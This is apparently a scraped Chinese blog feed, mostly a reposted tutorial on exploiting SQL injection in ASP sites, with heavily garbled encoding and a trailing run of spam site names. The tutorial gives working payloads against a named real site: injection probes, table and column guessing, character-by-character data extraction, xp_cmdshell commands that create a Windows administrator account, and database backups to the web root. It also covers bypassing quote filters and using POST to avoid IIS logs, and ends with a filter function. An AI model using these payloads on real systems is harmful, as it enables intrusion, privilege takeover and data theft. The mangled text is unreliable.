如何解决孤立用户问题 http://www.tkk7.com/freebird/archive/2007/07/31/133574.htmlfreebirdfreebirdTue, 31 Jul 2007 06:49:00 GMThttp://www.tkk7.com/freebird/archive/2007/07/31/133574.htmlhttp://www.tkk7.com/freebird/comments/133574.htmlhttp://www.tkk7.com/freebird/archive/2007/07/31/133574.html#Feedback2http://www.tkk7.com/freebird/comments/commentRss/133574.htmlhttp://www.tkk7.com/freebird/services/trackbacks/133574.html阅读全文

freebird 2007-07-31 14:49 发表评论
]]>
not in 失效http://www.tkk7.com/freebird/archive/2007/03/09/102877.htmlfreebirdfreebirdFri, 09 Mar 2007 09:05:00 GMThttp://www.tkk7.com/freebird/archive/2007/03/09/102877.htmlhttp://www.tkk7.com/freebird/comments/102877.htmlhttp://www.tkk7.com/freebird/archive/2007/03/09/102877.html#Feedback0http://www.tkk7.com/freebird/comments/commentRss/102877.htmlhttp://www.tkk7.com/freebird/services/trackbacks/102877.html如果在t2中的f1字段中有null值的话,则查不到l果。也是说在not in 双的集合中不能有null|
而在not in左边有null值没有问题?  阅读全文

freebird 2007-03-09 17:05 发表评论
]]>
[转帖]深入出理解索引l构 http://www.tkk7.com/freebird/archive/2006/08/24/65468.htmlfreebirdfreebirdThu, 24 Aug 2006 03:10:00 GMThttp://www.tkk7.com/freebird/archive/2006/08/24/65468.htmlhttp://www.tkk7.com/freebird/comments/65468.htmlhttp://www.tkk7.com/freebird/archive/2006/08/24/65468.html#Feedback0http://www.tkk7.com/freebird/comments/commentRss/65468.htmlhttp://www.tkk7.com/freebird/services/trackbacks/65468.html阅读全文

freebird 2006-08-24 11:10 发表评论
]]>
itpubW记Q字W串分割http://www.tkk7.com/freebird/archive/2006/08/08/62276.htmlfreebirdfreebirdTue, 08 Aug 2006 00:40:00 GMThttp://www.tkk7.com/freebird/archive/2006/08/08/62276.htmlhttp://www.tkk7.com/freebird/comments/62276.htmlhttp://www.tkk7.com/freebird/archive/2006/08/08/62276.html#Feedback0http://www.tkk7.com/freebird/comments/commentRss/62276.htmlhttp://www.tkk7.com/freebird/services/trackbacks/62276.html 有一个字W串: a,bc,d,abce,ddz
现在用T-SQL语句把这一字符串变成这U样?
item
----------
a
bc
d
abce
ddz

(5 row(s) affected)

正解Q?br />
declare   @str   varchar ( 20 ), @strSql   varchar ( 8000 )
set   @str   =   ' a,bc,d,abce,ddz '   --  此处的字W串可以随心所Ʋ的更改

if   object_id ( ' tempdb.dbo.#temp1 ' is   null
create   table  #temp1(item  varchar ( 20 ))
else

truncate   table  #temp1
SELECT   @strSql = ' insert into #temp1 values( ''' + REPLACE ( @str , ' , ' , '''

insert into #temp1 values(
''' ) + ''' ) '

print   @strSql
exec  ( @strSql )
select   *   from  #temp1

知识Q?br />1.)  truncate table tableName   一ơ删除表中的所有数据,同于delete没有whereQ但是比delete省资源,因ؓ占用的日志少?br />

freebird 2006-08-08 08:40 发表评论
]]>
SQL注入天书—ASP注入漏洞全接触(转)http://www.tkk7.com/freebird/archive/2006/07/30/60905.htmlfreebirdfreebirdSun, 30 Jul 2006 15:06:00 GMThttp://www.tkk7.com/freebird/archive/2006/07/30/60905.htmlhttp://www.tkk7.com/freebird/comments/60905.htmlhttp://www.tkk7.com/freebird/archive/2006/07/30/60905.html#Feedback0http://www.tkk7.com/freebird/comments/commentRss/60905.htmlhttp://www.tkk7.com/freebird/services/trackbacks/60905.html

随着B/S模式应用开发的发展Q用这U模式编写应用程序的E序员也来多。但是由于这个行业的入门门槛不高Q程序员的水q_l验也参差不齐,相当大一部分E序员在~写代码的时候,没有对用戯入数据的合法性进行判断,使应用程序存在安全隐(zhn)。用户可以提交一D|据库查询代码Q根据程序返回的l果Q获得某些他惛_知的数据Q这是所谓的SQL InjectionQ即SQL注入?/font>

SQL注入是从正常的WWW端口讉KQ而且表面看v来跟一般的Web面讉K没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报Q如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉?/font>

    但是QSQL注入的手法相当灵z,在注入的时候会到很多意外的情c能不能Ҏ(gu)具体情况q行分析Q构造y妙的SQL语句Q从而成功获取想要的数据Q是高手与“菜鸟”的Ҏ(gu)区别?/font>

Ҏ(gu)国情Q国内的|站用ASP+Access或SQLServer的占70%以上QPHP+MySQ占L20%Q其他的不10%。在本文Q我们从分入门、进阶至高讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写Q希望对安全工作者和E序员都有用处。了解ASP注入的朋友也请不要蟩q入门篇Q因为部分hҎ(gu)入的基本判断Ҏ(gu)q存在误区。大家准备好了吗QLet's Go...

???/font>

如果你以前没试过SQL注入的话Q那么第一步先把IE菜单=>工具=>Internet选项=>高=>昄友好 HTTP 错误信息前面的勾L。否则,不论服务器返回什么错误,IE都只昄为HTTP 500服务器错误,不能获得更多的提CZ息?/font>

W一节、SQL注入原理

以下我们从一个网?/font> www.19cn.com 开始(注:本文发表前已征得该站站长同意Q大部分都是真实数据Q?/font>

在网站首上Q有名ؓ“IE不能打开新窗口的多种解决Ҏ(gu)”的链接Q地址为: http://www.19cn.com/showdetail.asp?id=49 Q我们在q个地址后面加上单引?Q服务器会返回下面的错误提示Q?/font>

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表辑ּ 'ID=49'' 中?

/showdetail.aspQ行8

从这个错误提C我们能看出下面几点Q?/font>

1.|站使用的是Access数据库,通过JET引擎q接数据库,而不是通过ODBC?/font>

2.E序没有判断客户端提交的数据是否W合E序要求?/font>

3.该SQL语句所查询的表中有一名ؓID的字Dc?/font>

从上面的例子我们可以知道QSQL注入的原理,是从客L提交Ҏ(gu)的代码,从而收集程序及服务器的信息Q从而获取你惛_得到的资料?/font>

W二节、判断能否进行SQL注入

看完W一节,有一些h会觉得:我也是经常这h试能否注入的Q这不是很简单吗Q?/font>

其实Q这q不是最好的Ҏ(gu)Qؓ什么呢Q?/font>

首先Q不一定每台服务器的IIS都返回具体错误提C给客户端,如果E序中加了cint(参数)之类语句的话QSQL注入是不会成功的Q但服务器同样会报错Q具体提CZ息ؓ处理 URL 时服务器上出错。请和系l管理员联络?/font>

其次Q部分对SQL注入有一点了解的E序员,认ؓ只要把单引号qo掉就安全了,q种情况不ؓ数Q如果你用单引号试Q是不到注入点?/font>

那么Q什么样的测试方法才是比较准呢Q答案如下:
?
http://www.19cn.com/showdetail.asp?id=49

? http://www.19cn.com/showdetail.asp?id=49 and 1=1

? http://www.19cn.com/showdetail.asp?id=49 and 1=2

q就是经典的1=1?=2试法了Q怎么判断呢?看看上面三个|址q回的结果就知道了:

可以注入的表玎ͼ

?正常昄Q这是必然的Q不然就是程序有错误了)

?正常昄Q内容基本与①相?/font>

?提示BOF或EOFQ程序没做Q何判断时Q、或提示找不到记录(判断了rs.eofӞ、或昄内容为空Q程序加了on error resume nextQ?/font>

不可以注入就比较Ҏ(gu)判断了,①同h常显C,②和③一般都会有E序定义的错误提C,或提C类型{换时出错?/font>

  当然Q这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字W型和搜索型参数Q我在中񔽋的“SQL注入一般步骤”再做分析?/font>

W三节、判断数据库cd及注入方?/font>

不同的数据库的函数、注入方法都是有差异的,所以在注入之前Q我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServerQ网上超q?9%的网站都是其中之一?/font>

怎么让程序告诉你它用的什么数据库呢?来看看:

SQLServer有一些系l变量,如果服务器IIS提示没关闭,q且SQLServerq回错误提示的话Q那可以直接从出错信息获取,Ҏ(gu)如下Q?/font>

http://www.19cn.com/showdetail.asp?id=49 and user>0

q句语句很简单,但却包含了SQLServerҎ(gu)注入Ҏ(gu)的精髓,我自׃是在一ơ无意的试中发现这U效率极高的猜解Ҏ(gu)。让我看来看看它的含义:首先Q前面的语句是正常的Q重点在and user>0Q我们知道,user是SQLServer的一个内|变量,它的值是当前q接的用户名Q类型ؓnvarchar。拿一个nvarchar的Dint的数0比较Q系l会先试囑ְnvarchar的D{成int型,当然Q{的过E中肯定会出错,SQLServer的出错提C是Q将nvarchar?”abc?转换数据cd?int 的列时发生语法错误,呵呵Qabc正是变量user的|q样Q不废吹C力就拿到了数据库的用户名。在以后的篇q里Q大家会看到很多用这U方法的语句?/font>

Z说几句,众所周知QSQLServer的用户sa是个{同Adminstrators权限的角Ԍ拿到了sa权限Q几乎肯定可以拿C机的Administrator了。上面的Ҏ(gu)可以很方便的试出是否是用sadQ要注意的是Q如果是sadQ提C是”dbo”{换成int的列发生错误Q而不是”sa”?

如果服务器IIS不允许返回错误提C,那怎么判断数据库类型呢Q我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系l表Q比如存放数据库中所有对象的表,Access是在pȝ表[msysobjects]中,但在Web环境下读该表会提C“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常d?/font>

在确认可以注入的情况下,使用下面的语句:

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0

http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

如果数据库是SQLServerQ那么第一个网址的页面与原页?/font> http://www.19cn.com/showdetail.asp?id=49 是大致相同的Q而第二个|址Q由于找不到表msysobjectsQ会提示出错Q就程序有定w处理Q页面也与原面完全不同?/font>

如果数据库用的是AccessQ那么情况就有所不同Q第一个网址的页面与原页面完全不同;W二个网址Q则视乎数据库设|是否允许读该系l表Q一般来说是不允许的Q所以与原网址也是完全不同。大多数情况下,用第一个网址可以得知系l所用的数据库类型,W二个网址只作为开启IIS错误提示时的验证?/font>

q???/font>

在入门篇Q我们学会了QIQ注入的判断Ҏ(gu)Q但真正要拿到网站的保密内容Q是q远不够的。接下来Q我们就l箋学习如何从数据库中获取想要获得的内容Q首先,我们先看看SQL注入的一般步骤:

W一节、SQL注入的一般步?/font>

首先Q判断环境,L注入点,判断数据库类型,q在入门已l讲q了?/font>

其次Q根据注入参数类型,在脑中重构SQL语句的原貌,按参数类型主要分Z面三U:

(A)  ID=49 q类注入的参数是数字型,SQL语句原貌大致如下Q?br />Select * from 表名 where 字段=49
注入的参CؓID=49 And [查询条g]Q即是生成语句:
Select * from 表名 where 字段=49 And [查询条g]

(B) Class=q箋?q类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连l剧?
注入的参CؓClass=q箋剧?and [查询条g] and ‘??Q即是生成语句:
Select * from 表名 where 字段=’连l剧?and [查询条g] and ‘?’?/font>

(C) 搜烦时没qo参数的,如keyword=关键字,SQL语句原貌大致如下Q?br />Select * from 表名 where 字段like ?关键??
注入的参Cؓkeyword=?and [查询条g] and ?25?’, x生成语句Q?br />Select * from 表名 where字段like ??and [查询条g] and ????/font>

接着Q将查询条g替换成SQL语句Q猜解表名,例如Q?/font>

ID=49 And (Select Count(*) from Admin)>=0

如果面׃ID=49的相同,说明附加条g成立Q即表Admin存在Q反之,即不存在Q请牢记q种Ҏ(gu)Q。如此@环,直至猜到表名为止?/font>

表名猜出来后Q将Count(*)替换成Count(字段?Q用同样的原理猜解字D名?/font>

有h会说Q这里有一些偶然的成分Q如果表名v得很复杂没规律的Q那Ҏ(gu)没得玩下去了。说得很对,q世界根本就不存?00%成功的黑客技术,苍蝇不叮无缝的蛋Q无论多技术多高深的黑客,都是因ؓ别h的程序写得不严密或用者保密意识不够,才有得下手?/font>

有点跑题了,话说回来Q对于SQLServer的库Q还是有办法让程序告诉我们表名及字段名的Q我们在高񔽋中会做介绍?br /> 
    最后,在表名和列名猜解成功后,再用SQL语句Q得出字D늚|下面介绍一U最常用的方法-Ascii逐字解码法,虽然q种Ҏ(gu)速度很慢Q但肯定是可行的Ҏ(gu)?/font>

我们举个例子Q已知表Admin中存在username字段Q首先,我们取第一条记录,试长度Q?/font>

http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0

先说明原理:如果top 1的username长度大于0Q则条g成立Q接着是>1?gt;2?gt;3q样试下去Q一直到条g不成立ؓ止,比如>7成立Q?gt;8不成立,是len(username)=8

  当然没h会笨得从0,1,2,3一个个试Q怎么h比较快就看各自发挥了。在得到username的长度后Q用mid(username,N,1)截取WN位字W,再asc(mid(username,N,1))得到ASCII码,比如Q?/font>

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步~小范围的方法得到第1位字W的ASCII码,注意的是英文和数字的ASCII码在1-128之间Q可以用折半法加速猜解,如果写成E序试Q效率会有极大的提高?/font>

W二节、SQL注入常用函数

有SQL语言基础的hQ在SQL注入的时候成功率比不熟?zhn)的h高很多。我们有必要提高一下自qSQL水^Q特别是一些常用的函数及命令?/font>

AccessQasc(字符)  SQLServerQunicode(字符)
作用Q返回某字符的ASCII?/font>

AccessQchr(数字)  SQLServerQnchar(数字)
作用Q与asc相反Q根据ASCII码返回字W?/font>

AccessQmid(字符?N,L)  SQLServerQsubstring(字符?N,L)
作用Q返回字W串从N个字Wv长度为L的子字符Ԍ即N到N+L之间的字W串

AccessQabc(数字)  SQLServerQabc (数字)
作用Q返回数字的l对|在猜解汉字的时候会用到Q?/font>

AccessQA between B And C  SQLServerQA between B And C
作用Q判断A是否界于B与C之间

W三节、中文处理方?/font>

    在注入中到中文字符是常有的事,有些Z到中文字符想打退堂鼓了。其实只要对中文的编码有所了解Q“中文恐惧症”很快可以克服。先说一点常识:

Access中,中文的ASCII码可能会出现负数Q取负数后用abs()取绝对|汉字字符不变?/font>

SQLServer中,中文的ASCII为正敎ͼ但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()q回unicode|再用nchar函数取得对应的中文字W?/font>

    了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外Q方法是没什么两L?/font>

?U??/font>

看完入门和q阶后Q稍加练习,破解一般的|站是没问题了。但如果到表名列名猜不刎ͼ或程序作者过滤了一些特D字W,怎么提高注入的成功率Q怎么h高猜解效率?请大家接着往下看高񔽋?/font>

W一节、利用系l表注入SQLServer数据?/font>

    SQLServer是一个功能强大的数据库系l,与操作系l也有紧密的联系Q这l开发者带来了很大的方便,但另一斚wQ也为注入者提供了一个蟩板,我们先来看看几个具体的例子:

? http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name password /add"--

  分号;在SQLServer中表C隔开前后两句语句Q?-表示后面的语句ؓ注释Q所以,q句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储q程xp_cmdshellQ这个存储过E用于调用系l命令,于是Q用net命o新徏了用户名为name、密码ؓpassword的windows的帐P接着Q?/font>

? http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--

  新建的帐号name加入理员组Q不用两分钟Q你已经拿到了系l最高权限!当然Q这U方法只适用于用saq接数据库的情况Q否则,是没有权限调用xp_cmdshell的?/font>

  ? http://Site/url.asp?id=1 and db_name()>0

前面有个cM的例子and user>0Q作用是获取q接用户名,db_name()是另一个系l变量,q回的是q接的数据库名?/font>

? http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db?--

q是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的l对路径Q将数据库备份到Web目录下面Q再用HTTP把整个数据库完完整整的下蝲回来Q所有的理员及用户密码都一览无遗!在不知道l对路径的时候,q可以备份到|络地址的方法(?/font> \\202.96.xx.xx\Share\1.db Q,但成功率不高?/font>

  ? http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0

前面说过Qsysobjects是SQLServer的系l表Q存储着所有的表名、视图、约束及其它对象Qxtype='U' and status>0Q表C用户徏立的表名Q上面的语句第一个表名取出,?比较大小Q让报错信息把表名暴露出来。第二、第三个表名怎么获取Q还是留l我们聪明的读者思考吧?/font>

? http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名?获取表名对应的内部IDQcol_name(表名ID,1)代表该表的第1个字D名Q将1换成2,3,4...可以逐个获取所猜解表里面的字段名?/font>

  以上6Ҏ(gu)我研ISQLServer注入半年多以来的心血l晶Q可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研ISQLServer注入之后Q我在开发方面的水^也得到很大的提高Q呵呵,也许安全与开发本来就是相辅相成的吧?/font>

W二节、绕q程序限制l注?/font>

在入门篇提到Q有很多人喜Ƣ用'h试注入漏z,所以也有很多h用过?LҎ(gu)来“防止”注入漏z,q也许能挡住一些入门者的dQ但对SQL注入比较熟?zhn)的hQ还是可以利用相关的函数Q达到绕q程序限制的目的?/font>

在“SQL注入的一般步骤”一节中Q我所用的语句Q都是经q我优化Q让其不包含有单引号的;在“利用系l表注入SQLServer数据库”中Q有些语句包含有'P我们举个例子来看看怎么攚w这些语句:

单的如where xtype='U'Q字WU对应的ASCII码是85Q所以可以用where xtype=char(85)代替Q如果字W是中文的,比如where name='用户'Q可以用where name=nchar(29992)+nchar(25143)代替?/font>

W三节、经验小l?/font>

1.有些ZqoSelect、Update、Deleteq些关键字,但偏偏忘记区分大写Q所以大家可以用selecTq样试一下?/font>

2.在猜不到字段名时Q不妨看看网站上的登录表单,一般ؓ了方便v见,字段名都与表单的输入框取相同的名字?/font>

3.特别注意Q地址栏的+号传入程序后解释为空|%2B解释?P%25解释?P具体可以参考URLEncode的相关介l?/font>

4.用GetҎ(gu)注入ӞIIS会记录你所有的提交字符Ԍ对PostҎ(gu)做则不记录,所以能用Post的网址量不用Get?/font>

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用q种Ҏ(gu)Q只需要两者之间的区别卛_Q但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高?/font>

????/font>

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,q种漏洞在网上极为普遍,通常是由于程序员Ҏ(gu)入不了解Q或者程序过滤不严格Q或者某个参数忘记检查导致。在q里Q我l大家一个函敎ͼ代替ASP中的Request函数Q可以对一切的SQL注入Say NOQ函数如下:

Function SafeRequest(ParaName,ParaType)
       '--- 传入参数 ---
       'ParaName:参数名称-字符?br />       'ParaType:参数cd-数字?1表示以上参数是数字,0表示以上参数为字W?

       Dim Paravalue
       Paravalue=Request(ParaName)
       If ParaType=1 then
              If not isNumeric(Paravalue) then
                     Response.write "参数" & ParaName & "必须为数字型Q?
                     Response.end
              End if
       Else
              Paravalue=replace(Paravalue,"'","''")
       End if
       SafeRequest=Paravalue
End function

文章到这里就l束了,不管你是安全人员、技术爱好者还是程序员Q我都希望本文能对你有所帮助?br />摘自Q?a id="ArticleContent1_ArticleContent1_AuthorBlogLink" target="_blank">http://blog.csdn.net/digituser/



freebird 2006-07-30 23:06 发表评论
]]>
վ֩ģ壺 ޹ŮaaaëƬ| ŷձ| ĻۺϾþ2| Ƶ| ޳߲va| 2022ѹƷ | va޵Ӱ| ĻѴƬ| Av뾫Ʒ| ֻˬ͵Ƶ| ۺɫ| MM131޹Ůþ| ĻƵѹۿ| AVþþƷݺݰ˳| ˾ƷѾþþþ| þŮƷƷ| ҹƷƵ| AVһþþƷ| ˺ݺۺϾþ޸| Ʒһѹۿ | ߹ۿAVպA| պѵӰ| һ߹ۿ| ߾ƷһС˵| Ʒһģʽ| ͬgayվ߹ۿ| ŮƵվa| žѾƷƵ| һҹɫ| ëƬվ߹ۿ| AëƬѿ| ޹˽ӰԺ| ƵĻ| 99Ƶ| aѼav| ۺϾþҹAV | ɫžžȫƵ| һƬƵ| Ƶ| ޹V߹ۿ| ѲƵ|